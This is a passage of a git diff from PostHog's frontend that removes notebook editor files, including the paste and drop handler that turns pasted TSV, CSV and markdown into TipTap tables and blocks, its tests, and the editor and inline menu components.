'A\tB\nno tabs here', expected: false, desc: 'mixed lines with and without tabs' },- ])('returns $expected for $desc', ({ input, expected }) => {- expect(isTabularData(input)).toBe(expected)- })- })-- describe('parseTabularDataToTipTapTable', () => {- it('parses a 2x2 table with first row as headers', () => {- const result = parseTabularDataToTipTapTable('Name\tAge\nAlice\t30')-- expect(result.type).toBe('table')- expect(result.content).toHaveLength(2)-- // Header row- const headerRow = result.content![0]- expect(headerRow.type).toBe('tableRow')- expect(headerRow.content).toHaveLength(2)- expect(headerRow.content![0].type).toBe('tableHeader')- expect(headerRow.content![0].content![0].content![0].text).toBe('Name')- expect(headerRow.content![1].content![0].content![0].text).toBe('Age')-- // Data row- const dataRow = result.content![1]- expect(dataRow.content![0].type).toBe('tableCell')- expect(dataRow.content![0].content![0].content![0].text).toBe('Alice')- expect(dataRow.content![1].content![0].content![0].text).toBe('30')- })-- it('handles empty cells', () => {- const result = parseTabularDataToTipTapTable('A\tB\n\t2')-- const dataRow = result.content![1]- expect(dataRow.content![0].content![0].content).toEqual([])- expect(dataRow.content![1].content![0].content![0].text).toBe('2')- })-- it('trims whitespace from cell values', () => {- const result = parseTabularDataToTipTapTable(' A \t B \n 1 \t 2 ')-- const headerRow = result.content![0]- expect(headerRow.content![0].content![0].content![0].text).toBe('A')- expect(headerRow.content![1].content![0].content![0].text).toBe('B')- })-- it('normalizes ragged rows by padding with empty cells', () => {- const result = parseTabularDataToTipTapTable('A\tB\tC\n1\t2')-- const dataRow = result.content![1]- expect(dataRow.content).toHaveLength(3)- expect(dataRow.content![2].content![0].content).toEqual([])- })-- it('strips trailing newlines before parsing', () => {- const result = parseTabularDataToTipTapTable('A\tB\n1\t2\n\n')-- expect(result.content).toHaveLength(2)- })-- it('handles a 3x3 table', () => {- const result = parseTabularDataToTipTapTable('H1\tH2\tH3\nA\tB\tC\nD\tE\tF')-- expect(result.content).toHaveLength(3)- expect(result.content![0].content).toHaveLength(3)- expect(result.content![2].content![2].content![0].content![0].text).toBe('F')- })-- it('parses CSV with comma delimiter', () => {- const result = parseTabularDataToTipTapTable('Name,Age\nAlice,30', ',')-- expect(result.type).toBe('table')- expect(result.content).toHaveLength(2)-- const headerRow = result.content![0]- expect(headerRow.content![0].content![0].content![0].text).toBe('Name')- expect(headerRow.content![1].content![0].content![0].text).toBe('Age')-- const dataRow = result.content![1]- expect(dataRow.content![0].content![0].content![0].text).toBe('Alice')- expect(dataRow.content![1].content![0].content![0].text).toBe('30')- })-- it('strips quotes from CSV quoted fields', () => {- const result = parseTabularDataToTipTapTable('"df","df"\n"123","456"', ',')-- const headerRow = result.content![0]- expect(headerRow.content![0].content![0].content![0].text).toBe('df')- expect(headerRow.content![1].content![0].content![0].text).toBe('df')-- const dataRow = result.content![1]- expect(dataRow.content![0].content![0].content![0].text).toBe('123')- expect(dataRow.content![1].content![0].content![0].text).toBe('456')- })-- it('handles commas inside quoted CSV fields', () => {- const result = parseTabularDataToTipTapTable('"Name","Note"\n"Alice","hello, world"', ',')-- const dataRow = result.content![1]- expect(dataRow.content![0].content![0].content![0].text).toBe('Alice')- expect(dataRow.content![1].content![0].content![0].text).toBe('hello, world')- })- })-- describe('detectMarkdown', () => {- it.each([- { input: '# Heading', expected: true, desc: 'ATX h1' },- { input: '### Heading three', expected: true, desc: 'ATX h3' },- { input: '- item one\n- item two', expected: true, desc: 'unordered list' },- { input: '* item one\n* item two', expected: true, desc: 'asterisk list' },- { input: '1. first\n2. second', expected: true, desc: 'ordered list' },- { input: '> quoted line', expected: true, desc: 'blockquote' },- { input: '```ts\nconst a = 1\n```', expected: true, desc: 'fenced code block' },- { input: 'before\n\n---\n\nafter', expected: true, desc: 'horizontal rule' },- { input: '| a | b |\n| - | - |\n| 1 | 2 |', expected: true, desc: 'markdown table' },- { input: 'just a plain paragraph of text', expected: false, desc: 'plain paragraph' },- { input: 'some *inline* emphasis only', expected: false, desc: 'inline emphasis only' },- { input: '', expected: false, desc: 'empty string' },- { input: '#nospace', expected: false, desc: 'hash without space (not a heading)' },- ])('returns $expected for $desc', ({ input, expected }) => {- expect(detectMarkdown(input)).toBe(expected)- })-- it('detects markdown in the example pasted by the user', () => {- const markdown = [- '# Phase 6: Tool migration and deprecation',- '',- '## Purpose',- '',- 'Decide which existing analytics paths can move to PostHog.',- '',- '- Every existing tool path has a decision.',- '- Migration decisions are backed by evidence.',- ].join('\n')- expect(detectMarkdown(markdown)).toBe(true)- })- })-- describe('parseMarkdownToTipTap', () => {- it('returns an empty array for empty input', () => {- expect(parseMarkdownToTipTap('')).toEqual([])- expect(parseMarkdownToTipTap(' \n ')).toEqual([])- })-- it('parses headings into heading nodes', () => {- const result = parseMarkdownToTipTap('# Title\n\n## Subtitle')-- expect(result[0].type).toBe('heading')- expect(result[0].attrs?.level).toBe(1)- expect(result[0].content?.[0].text).toBe('Title')- expect(result[1].type).toBe('heading')- expect(result[1].attrs?.level).toBe(2)- expect(result[1].content?.[0].text).toBe('Subtitle')- })-- it('parses unordered lists into bulletList nodes', () => {- const result = parseMarkdownToTipTap('- one\n- two')-- expect(result[0].type).toBe('bulletList')- expect(result[0].content).toHaveLength(2)- expect(result[0].content?.[0].type).toBe('listItem')- })-- it('parses ordered lists into orderedList nodes', () => {- const result = parseMarkdownToTipTap('1. first\n2. second')-- expect(result[0].type).toBe('orderedList')- expect(result[0].content).toHaveLength(2)- })-- it('parses inline bold into a strong mark', () => {- const result = parseMarkdownToTipTap('This is **bold** text.')-- const paragraph = result[0]- expect(paragraph.type).toBe('paragraph')- const boldNode = paragraph.content?.find((node) => node.marks?.some((mark) => mark.type === 'bold'))- expect(boldNode?.text).toBe('bold')- })-- it('parses fenced code blocks', () => {- const result = parseMarkdownToTipTap('```\nconst x = 1\n```')-- expect(result[0].type).toBe('codeBlock')- expect(result[0].content?.[0].text).toBe('const x = 1')- })-- it('parses a flattened table whose rows were joined on a single line', () => {- const result = parseMarkdownToTipTap('| a | b | |---|---| | 1 | 2 | | 3 | 4 |')-- expect(result[0].type).toBe('table')- expect(result[0].content).toHaveLength(3)- const headerRow = result[0].content?.[0]- expect(headerRow?.content?.[0].type).toBe('tableHeader')- expect(headerRow?.content?.[0].content?.[0].content?.[0].text).toBe('a')- const lastRow = result[0].content?.[2]- expect(lastRow?.content?.[1].content?.[0].content?.[0].text).toBe('4')- })-- it('parses an AI-formatted flattened table whose rows are glued with no whitespace', () => {- const result = parseMarkdownToTipTap('| Month | Boost ||-------|-------|| Jul 2025 | 54 || Aug 2025 | 59 |')-- expect(result[0].type).toBe('table')- expect(result[0].content).toHaveLength(3)- const headerRow = result[0].content?.[0]- expect(headerRow?.content?.[0].type).toBe('tableHeader')- expect(headerRow?.content?.[0].content?.[0].content?.[0].text).toBe('Month')- const lastRow = result[0].content?.[2]- expect(lastRow?.content?.[0].content?.[0].content?.[0].text).toBe('Aug 2025')- expect(lastRow?.content?.[1].content?.[0].content?.[0].text).toBe('59')- })- })-- describe('parseMarkdownPasteContent', () => {- // A flattened markdown table glued with no whitespace, as AI responses / rendered docs- // put it on the clipboard. The matching HTML carries it as plain pipe-text, not a- // real <table>, so without the table exception it would be lost on paste.- const FLATTENED_TABLE =- '| Month | Boost | Scale | Teams | Total ||-------|-------|-------|-------|-------|| Jul 2025 | 54 | 20 | — | 74 || Aug 2025 | 59 | 26 | — | 85 |'-- it('parses a flattened table even when an HTML representation is present', () => {- const result = parseMarkdownPasteContent(FLATTENED_TABLE, '<meta charset="utf-8"><span>| Month |...</span>')-- expect(result).not.toBeNull()- expect(result![0].type).toBe('table')- expect(result![0].content).toHaveLength(3)- })-- it('parses a flattened table when there is no HTML representation', () => {- const result = parseMarkdownPasteContent(FLATTENED_TABLE, undefined)-- expect(result).not.toBeNull()- expect(result![0].type).toBe('table')- })-- it('defers to the default paste for non-table markdown when HTML is present', () => {- expect(parseMarkdownPasteContent('# Title\n\n- one\n- two', '<h1>Title</h1>')).toBeNull()- })-- it('parses non-table markdown when there is no HTML representation', () => {- const result = parseMarkdownPasteContent('# Title', undefined)-- expect(result).not.toBeNull()- expect(result![0].type).toBe('heading')- })-- it('returns null for plain text that is not markdown', () => {- expect(parseMarkdownPasteContent('just some plain text', undefined)).toBeNull()- expect(parseMarkdownPasteContent('', undefined)).toBeNull()- })- })-})diff --git a/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.tsx b/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.tsxdeleted file mode 100644index f71db90604e6..000000000000--- a/frontend/src/scenes/notebooks/Notebook/DropAndPasteHandlerExtension.tsx+++ /dev/null@@ -1,266 +0,0 @@-import { JSONContent } from '@tiptap/core'-import { Plugin, PluginKey } from '@tiptap/pm/state'-import { Extension } from '@tiptap/react'-import Papa from 'papaparse'-import posthog from 'posthog-js'--import { lemonToast } from '@posthog/lemon-ui'--import { parseMarkdownToTipTap } from 'lib/utils/parseMarkdownToTipTap'--import { NotebookNodeType } from '../types'--export type TabularFormat = 'tsv' | 'csv'--export function detectTabularFormat(text: string): TabularFormat | null {- const lines = text.replace(/\n+$/, '').split('\n')- if (lines.length < 2) {- return null- }- if (lines.every((line) => line.includes('\t'))) {- return 'tsv'- }- const commaCounts = lines.map((line) => (line.match(/,/g) || []).length)- if (commaCounts[0] >= 1 && commaCounts.every((c) => c === commaCounts[0])) {- return 'csv'- }- return null-}--export function isTabularData(text: string): boolean {- return detectTabularFormat(text) !== null-}--export function parseTabularDataToTipTapTable(text: string, delimiter: string = '\t'): JSONContent {- const trimmed = text.replace(/\n+$/, '')- const rows: string[][] =- delimiter === ','- ? Papa.parse<string[]>(trimmed, { header: false }).data- : trimmed.split('\n').map((line) => line.split(delimiter))-- const maxCols = Math.max(...rows.map((row) => row.length))-- const tableRows: JSONContent[] = rows.map((row, rowIndex) => {- const cellType = rowIndex === 0 ? 'tableHeader' : 'tableCell'- const cells: JSONContent[] = []- for (let col = 0; col < maxCols; col++) {- const value = (row[col] ?? '').trim()- cells.push({- type: cellType,- content: [- {- type: 'paragraph',- content: value ? [{ type: 'text', text: value }] : [],- },- ],- })- }- return { type: 'tableRow', content: cells }- })-- return { type: 'table', content: tableRows }-}--// Block-level markdown signals. Inline-only markers like `**bold**` are intentionally-// excluded so plain prose that happens to contain `*` is not silently transformed.-const MARKDOWN_BLOCK_PATTERNS: RegExp[] = [- /^#{1,6} \S/m, // ATX heading: "# Title"- /^>\s+\S/m, // Blockquote: "> text"- /^[-*+] \S/m, // Unordered list: "- item"- /^\d+\.\s+\S/m, // Ordered list: "1. item"- /^```/m, // Fenced code block- /^(?:-{3,}|\*{3,}|_{3,})\s*$/m, // Horizontal rule- /^\|.+\|/m, // Table row-]--export function detectMarkdown(text: string): boolean {- if (!text) {- return false- }- return MARKDOWN_BLOCK_PATTERNS.some((pattern) => pattern.test(text))-}--// Decide what to insert when pasted plain text looks like markdown. Returns the parsed-// nodes to insert, or null to defer to tiptap's default paste. We defer when the clipboard-// also has an HTML representation (tiptap preserves its rendered structure) UNLESS the-// markdown parses to a table: rich sources (AI responses, rendered docs) put flattened tables-// on the clipboard as plain pipe-text in their HTML, which the default paste renders as a-// paragraph and loses the table. Real <table> HTML is handled before this is ever called.-export function parseMarkdownPasteContent(text: string, html: string | undefined): JSONContent[] | null {- if (!text || !detectMarkdown(text)) {- return null- }- let parsed: JSONContent[]- try {- parsed = parseMarkdownToTipTap(text)- } catch {- return null- }- if (parsed.length === 0) {- return null- }- const hasTable = parsed.some((node) => node.type === 'table')- if (html && !hasTable) {- return null- }- return parsed-}--export const DropAndPasteHandlerExtension = Extension.create({- name: 'DropAndPasteHandlerExtension',-- addProseMirrorPlugins() {- return [- new Plugin({- key: new PluginKey(this.name),- props: {- handleDrop: (view, event, _slice, moved) => {- if (!this.editor) {- return false- }-- if (!moved && event.dataTransfer) {- const text = event.dataTransfer.getData('text/plain')- const node = event.dataTransfer.getData('node')- const properties = event.dataTransfer.getData('properties')-- if (text.indexOf(window.location.origin) === 0 || node) {- // PostHog link - ensure this gets input as a proper link- const coordinates = view.posAtCoords({ left: event.clientX, top: event.clientY })-- if (!coordinates) {- return false- }-- if (node) {- this.editor- .chain()- .focus()- .setTextSelection(coordinates.pos)- .insertContent({ type: node, attrs: JSON.parse(properties) })- .run()-- // We report this case, the pasted version is handled by the posthogNodePasteRule- posthog.capture('notebook node dropped', { node_type: node })- } else {- this.editor?.chain().focus().setTextSelection(coordinates.pos).run()- view.pasteText(text)- }-- return true- }-- if (!moved && event.dataTransfer.files && event.dataTransfer.files.length > 0) {- const coordinates = view.posAtCoords({- left: event.clientX,- top: event.clientY,- })-- if (!coordinates) {- // TODO: Seek to end of document instead- return true- }-- // if dropping external files- const fileList = Array.from(event.dataTransfer.files)- const contentToAdd: any[] = []- for (const file of fileList) {- if (file.type.startsWith('image/')) {- contentToAdd.push({- type: NotebookNodeType.Image,- attrs: { file },- })- } else {- lemonToast.warning('Only images can be added to Notebooks at this time.')- }- }-- this.editor- .chain()- .focus()- .setTextSelection(coordinates.pos)- .insertContent(contentToAdd)- .run()- posthog.capture('notebook files dropped', {- file_types: fileList.map((x) => x.type),- })-- return true- }- }-- return false- },-- handlePaste: (_view, event) => {- if (!this.editor) {- return false- }-- // Spreadsheet HTML pastes contain <table> elements that TipTap handles natively- // via the table extension, so we only intercept plain-text TSV data- const html = event.clipboardData?.getData('text/html')- if (html && /<table[\s>]/i.test(html)) {- return false- }-- // Detect tab-separated or comma-separated values- const text = event.clipboardData?.getData('text/plain')- const format = text ? detectTabularFormat(text) : null- if (text && format) {- const delimiter = format === 'tsv' ? '\t' : ','- const tableContent = parseTabularDataToTipTapTable(text, delimiter)- const rows = tableContent.content?.length ?? 0- const cols = tableContent.content?.[0]?.content?.length ?? 0- this.editor.chain().focus().insertContent(tableContent).run()- posthog.capture('notebook table pasted', {- rows,- cols,- source: format,- })- return true- }-- // Detect markdown source in plain-text pastes (see parseMarkdownPasteContent- // for how HTML pastes and flattened tables are handled).- if (text) {- const parsed = parseMarkdownPasteContent(text, html)- if (parsed) {- this.editor.chain().focus().insertContent(parsed).run()- posthog.capture('notebook markdown pasted', {- length: text.length,- blocks: parsed.length,- })- return true- }- }-- // Special handling for pasting files such as images- if (event.clipboardData && event.clipboardData.files?.length > 0) {- // iterate over the clipboard files and add any supported file types- const fileList = Array.from(event.clipboardData.files)- const contentToAdd: any[] = []- for (const file of fileList) {- if (file.type.startsWith('image/')) {- contentToAdd.push({- type: NotebookNodeType.Image,- attrs: { file },- })- } else {- lemonToast.warning('Only images can be added to Notebooks at this time.')- }- }-- this.editor.chain().focus().insertContent(contentToAdd).run()- posthog.capture('notebook files pasted', {- file_types: fileList.map((x) => x.type),- })-- return true- }- },- },- }),- ]- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/Editor.tsx b/frontend/src/scenes/notebooks/Notebook/Editor.tsxdeleted file mode 100644index c4026c200a19..000000000000--- a/frontend/src/scenes/notebooks/Notebook/Editor.tsx+++ /dev/null@@ -1,293 +0,0 @@-import { Extension } from '@tiptap/core'-import ExtensionDocument from '@tiptap/extension-document'-import { FloatingMenu } from '@tiptap/extension-floating-menu'-import { TaskItem, TaskList } from '@tiptap/extension-list'-import { Table, TableCell, TableHeader, TableRow } from '@tiptap/extension-table'-import TableOfContents, { getHierarchicalIndexes } from '@tiptap/extension-table-of-contents'-import { Placeholder } from '@tiptap/extensions'-import { collab } from '@tiptap/pm/collab'-import StarterKit, { StarterKitOptions } from '@tiptap/starter-kit'-import { useActions, useValues } from 'kea'-import { useThrottledCallback } from 'use-debounce'--import { IconComment } from '@posthog/icons'-import { LemonButton, LemonDivider } from '@posthog/lemon-ui'--import { RichContentEditor } from 'lib/components/RichContentEditor'-import { RichContentNodeMention } from 'lib/components/RichContentEditor/RichContentNodeMention'-import { RichContentNode, TTEditor } from 'lib/components/RichContentEditor/types'-import { createEditor } from 'lib/components/RichContentEditor/utils'-import { useFeatureFlag } from 'lib/hooks/useFeatureFlag'-import { uuid } from 'lib/utils/dom'--import { MentionsExtension } from '../../../lib/components/RichContentEditor/MentionsExtension'-import { NotebookMarkComment } from '../Marks/NotebookMarkComment'-import { NotebookMarkLink } from '../Marks/NotebookMarkLink'-import { NotebookNodeBacklink } from '../Nodes/NotebookNodeBacklink'-import { NotebookNodeCohort } from '../Nodes/NotebookNodeCohort'-import { NotebookNodeCustomerJourney } from '../Nodes/NotebookNodeCustomerJourney/NotebookNodeCustomerJourney'-import { NotebookNodeDuckSQL } from '../Nodes/NotebookNodeDuckSQL'-import { NotebookNodeEarlyAccessFeature } from '../Nodes/NotebookNodeEarlyAccessFeature'-import { NotebookNodeEmbed } from '../Nodes/NotebookNodeEmbed'-import { NotebookNodeExperiment } from '../Nodes/NotebookNodeExperiment'-import { NotebookNodeFlag } from '../Nodes/NotebookNodeFlag'-import { NotebookNodeFlagCodeExample } from '../Nodes/NotebookNodeFlagCodeExample'-import { NotebookNodeGroup } from '../Nodes/NotebookNodeGroup'-import { NotebookNodeGroupProperties } from '../Nodes/NotebookNodeGroupProperties'-import { NotebookNodeHogQL } from '../Nodes/NotebookNodeHogQL'-import { NotebookNodeImage } from '../Nodes/NotebookNodeImage'-import { NotebookNodeIssues } from '../Nodes/NotebookNodeIssues'-import { NotebookNodeLatex } from '../Nodes/NotebookNodeLatex'-import { NotebookNodeLLMTrace } from '../Nodes/NotebookNodeLLMTrace'-import { NotebookNodeMap } from '../Nodes/NotebookNodeMap'-import { NotebookNodePerson } from '../Nodes/NotebookNodePerson'-import { NotebookNodePersonFeed } from '../Nodes/NotebookNodePersonFeed/NotebookNodePersonFeed'-import { NotebookNodePersonProperties } from '../Nodes/NotebookNodePersonProperties'-import { NotebookNodePlaylist } from '../Nodes/NotebookNodePlaylist'-import { NotebookNodePython } from '../Nodes/NotebookNodePython'-import { NotebookNodeQuery } from '../Nodes/NotebookNodeQuery'-import { NotebookNodeRecording } from '../Nodes/NotebookNodeRecording'-import { NotebookNodeRelatedGroups } from '../Nodes/NotebookNodeRelatedGroups'-import { NotebookNodeReplayTimestamp } from '../Nodes/NotebookNodeReplayTimestamp'-import { NotebookNodeSupportTickets } from '../Nodes/NotebookNodeSupportTickets'-import { NotebookNodeSurvey } from '../Nodes/NotebookNodeSurvey'-import { NotebookNodeTaskCreate } from '../Nodes/NotebookNodeTaskCreate'-import { NotebookNodeUsageMetrics } from '../Nodes/NotebookNodeUsageMetrics'-import { NotebookNodeZendeskTickets } from '../Nodes/NotebookNodeZendeskTickets'-import { FloatingSuggestions } from '../Suggestions/FloatingSuggestions'-import { insertionSuggestionsLogic } from '../Suggestions/insertionSuggestionsLogic'-import { NotebookEditor } from '../types'-import { textContent } from '../utils'-import { CollapsibleHeading } from './CollapsibleHeading'-import { DropAndPasteHandlerExtension } from './DropAndPasteHandlerExtension'-import { InlineMenu } from './InlineMenu'-import { notebookCollabLogic } from './notebookCollabLogic'-import { NotebookDefaultBlockOnEnter } from './NotebookDefaultBlockOnEnter'-import { notebookLogic } from './notebookLogic'-import { NotebookTrailingParagraph } from './NotebookTrailingParagraph'-import { RangeSelectedNodes } from './RangeSelectedNodes'-import { RemotePresenceExtension } from './RemotePresenceExtension'-import { SlashCommandsExtension } from './SlashCommands'-import { TableMenu } from './TableMenu'--const CustomDocument = ExtensionDocument.extend({- content: 'heading block*',-})--export function Editor(): JSX.Element {- const { shortId, mode, isEditable, content, collabEnabled, notebook, previewContent } = useValues(notebookLogic)- const { setEditor, onEditorUpdate, onEditorSelectionUpdate, setTableOfContents, insertComment } =- useActions(notebookLogic)- const hasCollapsibleSections = useFeatureFlag('NOTEBOOKS_COLLAPSIBLE_SECTIONS')- const { bindEditor, unbindEditor } = useActions(notebookCollabLogic({ shortId }))- const { clientID } = useValues(notebookCollabLogic({ shortId }))-- const { resetSuggestions, setPreviousNode } = useActions(insertionSuggestionsLogic)-- // Throttle setPreviousNode to avoid excessive calls during rapid selection changes- const throttledSetPreviousNode = useThrottledCallback((editor: TTEditor) => {- setPreviousNode(getNodeBeforeActiveNode(editor))- }, 16) // ~60fps throttling-- const starterKitConfig: Partial<StarterKitOptions> = {- document: false,- gapcursor: false,- link: false,- trailingNode: false,- }-- const useCollab = collabEnabled && !!notebook && !previewContent- // Collab suffix forces editor to re-initialize so the collab plugin is present- const editorKey = `Notebook.${shortId}${useCollab ? '-collab' : ''}`-- const extensions = [- mode === 'notebook' ? CustomDocument : ExtensionDocument,- StarterKit.configure(hasCollapsibleSections ? { ...starterKitConfig, heading: false } : starterKitConfig),- TableOfContents.configure({- getIndex: getHierarchicalIndexes,- onUpdate(content) {- setTableOfContents(content)- },- }),- Placeholder.configure({- placeholder: ({ node }: { node: any }) => {- if (node.type.name === 'heading' && node.attrs.level === 1) {- return 'Untitled'- }-- if (node.type.name === 'heading') {- return `Heading ${node.attrs.level}`- }-- return ''- },- }),- FloatingMenu.extend({- onSelectionUpdate(this) {- throttledSetPreviousNode(this.editor)- },- onUpdate(this) {- throttledSetPreviousNode(this.editor)- resetSuggestions()- },- }),- Table,- TableRow,- TableHeader,- TableCell,- DropAndPasteHandlerExtension,- TaskList,- TaskItem.configure({ nested: true }),- NotebookMarkLink,- NotebookMarkComment,- NotebookNodeLatex,- NotebookNodeBacklink,- NotebookNodeQuery,- NotebookNodePython,- NotebookNodeDuckSQL,- NotebookNodeHogQL,- NotebookNodeRecording,- NotebookNodeReplayTimestamp,- NotebookNodePlaylist,- NotebookNodePerson,- NotebookNodeCohort,- NotebookNodeGroup,- NotebookNodeFlagCodeExample,- NotebookNodeFlag,- NotebookNodeExperiment,- NotebookNodeEarlyAccessFeature,- NotebookNodeSurvey,- NotebookNodeImage,- NotebookNodePersonProperties,- NotebookNodeGroupProperties,- RichContentNodeMention,- NotebookNodeEmbed,- SlashCommandsExtension,- MentionsExtension,- NotebookNodePersonFeed,- NotebookNodeMap,- NotebookNodeTaskCreate,- NotebookNodeLLMTrace,- NotebookNodeIssues,- NotebookNodeUsageMetrics,- NotebookNodeZendeskTickets,- NotebookNodeSupportTickets,- NotebookNodeRelatedGroups,- NotebookNodeCustomerJourney,- NotebookTrailingParagraph,- NotebookDefaultBlockOnEnter,- RangeSelectedNodes,- ]-- if (useCollab) {- extensions.push(- Extension.create({- name: 'collaboration',- addProseMirrorPlugins() {- return [collab({ version: notebook.version, clientID })]- },- }),- RemotePresenceExtension- )- }-- if (hasCollapsibleSections) {- extensions.push(CollapsibleHeading.configure())- }-- return (- <RichContentEditor- key={editorKey}- logicKey={editorKey}- extensions={extensions}- disabled={!isEditable}- className="NotebookEditor flex flex-col flex-1"- initialContent={content}- onUpdate={onEditorUpdate}- onSelectionUpdate={onEditorSelectionUpdate}- onCreate={(editor) => {- const notebookEditor: NotebookEditor = {- ...createEditor(editor),- findCommentPosition: (markId: string) => findCommentPosition(editor, markId),- getAllCommentTexts: () => getAllCommentTexts(editor),- removeComment: (pos: number) => removeCommentMark(editor, pos),- getText: () => textContent(editor.state.doc),- }-- setEditor(notebookEditor)-- if (useCollab) {- bindEditor(editor)- } else {- unbindEditor()- }- }}- >- <FloatingSuggestions />- {isEditable && <TableMenu />}- <InlineMenu- extra={(editor) =>- !editor.isSelectionFullyWithinSingleMark('comment') ? (- <>- <LemonDivider vertical />- <LemonButton- onClick={() => {- const markId = uuid()- editor.setMark(markId)- insertComment({ type: 'mark', id: markId })- }}- icon={<IconComment className="w-4 h-4" />}- size="small"- />- </>- ) : null- }- />- </RichContentEditor>- )-}--function getNodeBeforeActiveNode(editor: TTEditor): RichContentNode | null {- const { doc, selection } = editor.state- const currentIndex = doc.resolve(selection.$anchor.pos).index(0)- return doc.maybeChild(currentIndex - 1)-}--function findCommentPosition(editor: TTEditor, markId: string): number | null {- let result: number | null = null- const doc = editor.state.doc- doc.descendants((node, pos) => {- const mark = node.marks.find((mark) => mark.type.name === 'comment' && mark.attrs.id === markId)- if (mark) {- // Same id can appear on multiple text nodes; use the start of the marked run.- if (result === null || pos < result) {- result = pos- }- }- })- return result-}--function getAllCommentTexts(editor: TTEditor): Record<string, string> {- const result: Record<string, string> = {}- editor.state.doc.descendants((node) => {- if (!node.isText) {- return- }- for (const m of node.marks) {- if (m.type.name === 'comment' && m.attrs.id) {- result[m.attrs.id] = (result[m.attrs.id] ?? '') + (node.text ?? '')- }- }- })- return result-}--function removeCommentMark(editor: TTEditor, pos: number): void {- editor- .chain()- .setNodeSelection(pos)- .unsetMark('comment', { extendEmptyMarkRange: true })- .setNodeSelection(0) // need to reset the selection so that the editor does not complain after mark is removed- .run()-}diff --git a/frontend/src/scenes/notebooks/Notebook/InlineMenu.tsx b/frontend/src/scenes/notebooks/Notebook/InlineMenu.tsxdeleted file mode 100644index 5143f83be74a..000000000000--- a/frontend/src/scenes/notebooks/Notebook/InlineMenu.tsx+++ /dev/null@@ -1,150 +0,0 @@-import { isTextSelection } from '@tiptap/core'-import { useEditorState } from '@tiptap/react'-import { BubbleMenu } from '@tiptap/react/menus'-import { useValues } from 'kea'-import { useRef } from 'react'--import { IconTrash } from '@posthog/icons'-import { LemonButton, LemonDivider, LemonInput } from '@posthog/lemon-ui'--import { richContentEditorLogic } from 'lib/components/RichContentEditor/richContentEditorLogic'-import { RichContentEditorType } from 'lib/components/RichContentEditor/types'-import { IconBold, IconItalic, IconLink, IconOpenInNew } from 'lib/lemon-ui/icons'-import { isURL } from 'lib/utils/url'--import NotebookIconHeading from './NotebookIconHeading'--export const InlineMenu = ({- extra = () => null,-}: {- extra: (editor: RichContentEditorType) => JSX.Element | null-}): JSX.Element => {- const { ttEditor, richContentEditor } = useValues(richContentEditorLogic)- const menuRef = useRef<HTMLDivElement>(null)-- const { isLinkActive, href, target } = useEditorState({- editor: ttEditor,- selector: ({ editor }) => {- const attrs = editor?.getAttributes('link') ?? {}- const sel = editor?.state.selection- return {- isLinkActive: editor?.isActive('link') ?? false,- href: attrs.href as string | undefined,- target: attrs.target as string | undefined,- // useEditorState uses deepEqual; without selection in this object, link state often- // stays identical across moves and we never re-render — stale bold/heading/extra().- selectionAnchor: sel?.anchor ?? 0,- selectionHead: sel?.head ?? 0,- }- },- })-- const setLink = (href: string): void => {- ttEditor.commands.setMark('link', { href: href })- }-- const openLink = (): void => {- if (isURL(href)) {- window.open(href, target)- }- }-- return (- <BubbleMenu- editor={ttEditor}- shouldShow={({ editor: { isEditable }, view, state, from, to }) => {- if (!isEditable) {- return false- }-- const isChildOfMenu = menuRef.current?.contains(document.activeElement)-- // Keep menu visible while interacting with it (e.g. typing in URL input)- if (isChildOfMenu) {- return true- }-- const focused = view.hasFocus()- const isTextBlock = isTextSelection(state.selection)-- if (!focused || !isTextBlock) {- return false- }-- return state.doc.textBetween(from, to).length > 0- }}- options={{ placement: 'top-start' }}- >- <div- ref={menuRef}- className="NotebookInlineMenu flex bg-surface-primary rounded border items-center text-secondary p-1 gap-x-0.5 relative z-10"- >- {isLinkActive ? (- <>- <LemonInput- size="small"- placeholder="https://posthog.com"- onChange={setLink}- value={href ?? ''}- className="border-0"- autoFocus- />- <LemonButton- onClick={openLink}- icon={<IconOpenInNew />}- size="small"- disabledReason={!isURL(href) && 'Enter a URL.'}- />- <LemonButton- onClick={() => ttEditor.chain().focus().unsetMark('link').run()}- icon={<IconTrash />}- status="danger"- size="small"- />- </>- ) : (- <>- <LemonButton- onClick={() => ttEditor.chain().focus().toggleHeading({ level: 1 }).run()}- active={ttEditor.isActive('heading', { level: 1 })}- icon={<NotebookIconHeading level={1} />}- size="small"- />- <LemonButton- onClick={() => ttEditor.chain().focus().toggleHeading({ level: 2 }).run()}- active={ttEditor.isActive('heading', { level: 2 })}- icon={<NotebookIconHeading level={2} />}- size="small"- />- <LemonButton- onClick={() => ttEditor.chain().focus().toggleHeading({ level: 3 }).run()}- active={ttEditor.isActive('heading', { level: 3 })}- icon={<NotebookIconHeading level={3} />}- size="small"- />- <LemonDivider vertical />- <LemonButton- onClick={() => ttEditor.chain().focus().toggleMark('italic').run()}- active={ttEditor.isActive('italic')}- icon={<IconItalic />}- size="small"- />- <LemonButton- onClick={() => ttEditor.chain().focus().toggleMark('bold').run()}- active={ttEditor.isActive('bold')}- icon={<IconBold />}- size="small"- />- <LemonButton- onMouseDown={(e: React.MouseEvent) => e.preventDefault()}- onClick={() => ttEditor.chain().focus().setMark('link').run()}- icon={<IconLink />}- size="small"- />- {extra(richContentEditor)}- </>- )}- </div>- </BubbleMenu>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookExperimentPicker.tsx b/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookExperimentPicker.tsxindex 608f74d4f051..f1f305ab9440 100644--- a/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookExperimentPicker.tsx+++ b/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookExperimentPicker.tsx@@ -21,11 +21,9 @@ export function MarkdownNotebookExperimentPicker({}: MarkdownNotebookExperimentPickerProps): JSX.Element {const { loadExperiments, closeModal } = useActions(addExperimentsToNotebookModalLogic)- // The table reads from the shared experiments logic; the legacy modal seeds it on open, so this- // picker (which doesn't toggle that modal's open state) must drive that lifecycle itself: load on+ // The table reads from the shared experiments logic, so this picker drives its lifecycle: load on// open, and reset filters on close so a stale search query doesn't carry over to the next open.- // `closeModal` resets the filters without triggering a fetch (no listener), and the shared modal's- // open flag is already unused here.+ // `closeModal` resets the filters without triggering a fetch (no listener).useEffect(() => {if (isOpen) {loadExperiments()diff --git a/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookV2RendererUI.test.tsx b/frontend/src/scenes/notebooks/Notebook/MarkdownNotebookV2RendererUI.test.tsxindex 0966b2086d8b..c3fbe174b344 100644--- 